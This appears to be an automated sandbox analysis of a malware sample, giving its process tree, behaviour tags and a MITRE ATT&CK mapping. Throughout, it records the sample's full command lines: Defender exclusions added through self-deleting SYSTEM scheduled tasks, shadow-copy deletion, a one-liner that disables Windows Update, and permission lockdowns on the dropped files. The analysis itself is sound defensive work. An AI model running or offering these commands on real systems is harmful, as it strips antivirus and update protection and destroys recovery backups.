  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3196
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:312
- C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe
  "C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - System policy modification
  PID:5056
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:4684
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4172
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1804
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2864
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1316
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2236
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4180
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:2256
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:4360
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Ckr1RW\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:436
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Ckr1RW\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2540
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3348
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4036
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1912
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3532
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4404
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:880
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:3400
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4352
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3780
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1764
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3416
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:780
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2200
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2156
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2816
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3552
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4460
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Ckr1RW\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3168
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:744
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Ckr1RW\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:552

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\YuQAnJ" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\YuQAnJ" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2156

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1056

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3984

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4516

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1972

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1776

C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe
"C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:408

C:\Program Files (x86)\f5yFmQ\2OrksO2.exe
"C:\Program Files (x86)\f5yFmQ\2OrksO2.exe"
1⤵
PID:4304

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3732
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:2056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery